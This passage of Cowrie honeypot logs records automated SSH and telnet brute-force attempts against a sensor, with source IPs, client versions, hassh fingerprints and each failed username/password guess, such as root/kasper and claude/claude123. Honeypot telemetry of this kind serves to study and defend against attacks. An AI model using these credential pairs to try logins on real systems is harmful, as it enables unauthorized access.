compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:21:17.452891Z","src_ip":"103.173.227.57","session":"4e9ef0de9d39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"avangard","message":"login attempt [root/avangard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:21:18.180877Z","src_ip":"103.173.227.57","session":"4e9ef0de9d39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:21:19.426489Z","src_ip":"103.173.227.57","session":"4e9ef0de9d39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00348234176636,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:21:28.385374Z","src_ip":"152.42.224.71","session":"d368a82134a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":51598,"dst_ip":"10.17.0.5","dst_port":22,"session":"eee768b1e35b","protocol":"ssh","message":"New connection: 87.251.79.125:51598 (10.17.0.5:22) [session: eee768b1e35b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:21:56.097195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:21:56.101763Z","src_ip":"87.251.79.125","session":"eee768b1e35b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:21:56.173345Z","src_ip":"87.251.79.125","session":"eee768b1e35b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kasper","message":"login attempt [root/kasper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:21:56.409538Z","src_ip":"87.251.79.125","session":"eee768b1e35b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:21:57.488062Z","src_ip":"87.251.79.125","session":"eee768b1e35b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":42438,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed71fde213e4","protocol":"ssh","message":"New connection: 109.172.54.111:42438 (159.203.135.109:22) [session: ed71fde213e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:22:03.585963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:22:03.590883Z","src_ip":"109.172.54.111","session":"ed71fde213e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:22:03.688867Z","src_ip":"109.172.54.111","session":"ed71fde213e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hfljcnm","message":"login attempt [root/hfljcnm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:22:03.996115Z","src_ip":"109.172.54.111","session":"ed71fde213e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:22:05.098723Z","src_ip":"109.172.54.111","session":"ed71fde213e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.156.196.131","src_port":56910,"dst_ip":"159.203.135.109","dst_port":22,"session":"fee1ce258047","protocol":"ssh","message":"New connection: 124.156.196.131:56910 (159.203.135.109:22) [session: fee1ce258047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:22:11.827938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:22:11.833126Z","src_ip":"124.156.196.131","session":"fee1ce258047","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:22:12.070514Z","src_ip":"124.156.196.131","session":"fee1ce258047","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"124578","message":"login attempt [root/124578] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:22:13.052182Z","src_ip":"124.156.196.131","session":"fee1ce258047","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.95.54","src_port":39752,"dst_ip":"159.203.135.109","dst_port":22,"session":"00ab6e692adb","protocol":"ssh","message":"New connection: 43.163.95.54:39752 (159.203.135.109:22) [session: 00ab6e692adb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:22:13.457029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:22:13.462142Z","src_ip":"43.163.95.54","session":"00ab6e692adb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:22:13.707725Z","src_ip":"43.163.95.54","session":"00ab6e692adb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:22:14.296699Z","src_ip":"124.156.196.131","session":"fee1ce258047","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:22:14.720012Z","src_ip":"43.163.95.54","session":"00ab6e692adb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:22:15.969767Z","src_ip":"43.163.95.54","session":"00ab6e692adb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":23132,"dst_ip":"159.203.135.109","dst_port":22,"session":"f01f4eb84fce","protocol":"ssh","message":"New connection: 194.59.206.2:23132 (159.203.135.109:22) [session: f01f4eb84fce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:22:17.287497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:22:17.292335Z","src_ip":"194.59.206.2","session":"f01f4eb84fce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:22:17.383213Z","src_ip":"194.59.206.2","session":"f01f4eb84fce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:22:17.481824Z","src_ip":"194.59.206.2","session":"f01f4eb84fce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32888,"dst_ip":"10.17.0.5","dst_port":23,"session":"b850e04a7533","protocol":"telnet","message":"New connection: 152.42.224.71:32888 (10.17.0.5:23) [session: b850e04a7533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:22:37.354347Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32904,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f7298cf01fb","protocol":"telnet","message":"New connection: 152.42.224.71:32904 (10.17.0.5:23) [session: 8f7298cf01fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:22:41.978650Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":59474,"dst_ip":"159.203.135.109","dst_port":22,"session":"310f91035051","protocol":"ssh","message":"New connection: 147.45.199.80:59474 (159.203.135.109:22) [session: 310f91035051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:23:01.797467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:23:01.801739Z","src_ip":"147.45.199.80","session":"310f91035051","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:23:01.903748Z","src_ip":"147.45.199.80","session":"310f91035051","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dima2003","message":"login attempt [root/dima2003] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:23:02.207820Z","src_ip":"147.45.199.80","session":"310f91035051","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":56802,"dst_ip":"10.17.0.5","dst_port":22,"session":"62bc80b1e003","protocol":"ssh","message":"New connection: 46.19.67.181:56802 (10.17.0.5:22) [session: 62bc80b1e003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:23:03.136520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:23:03.141512Z","src_ip":"46.19.67.181","session":"62bc80b1e003","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:23:03.260000Z","src_ip":"46.19.67.181","session":"62bc80b1e003","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:23:03.311862Z","src_ip":"147.45.199.80","session":"310f91035051","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"papamama","message":"login attempt [root/papamama] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:23:03.618811Z","src_ip":"46.19.67.181","session":"62bc80b1e003","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:23:04.739444Z","src_ip":"46.19.67.181","session":"62bc80b1e003","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.95.54","src_port":49386,"dst_ip":"159.203.135.109","dst_port":22,"session":"e30d431b3fa8","protocol":"ssh","message":"New connection: 43.163.95.54:49386 (159.203.135.109:22) [session: e30d431b3fa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:23:26.739871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:23:26.745564Z","src_ip":"43.163.95.54","session":"e30d431b3fa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:23:26.993539Z","src_ip":"43.163.95.54","session":"e30d431b3fa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123q123q","message":"login attempt [root/123q123q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:23:28.010367Z","src_ip":"43.163.95.54","session":"e30d431b3fa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.156.196.131","src_port":42906,"dst_ip":"159.203.135.109","dst_port":22,"session":"be05f5fb4701","protocol":"ssh","message":"New connection: 124.156.196.131:42906 (159.203.135.109:22) [session: be05f5fb4701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:23:28.614502Z"}
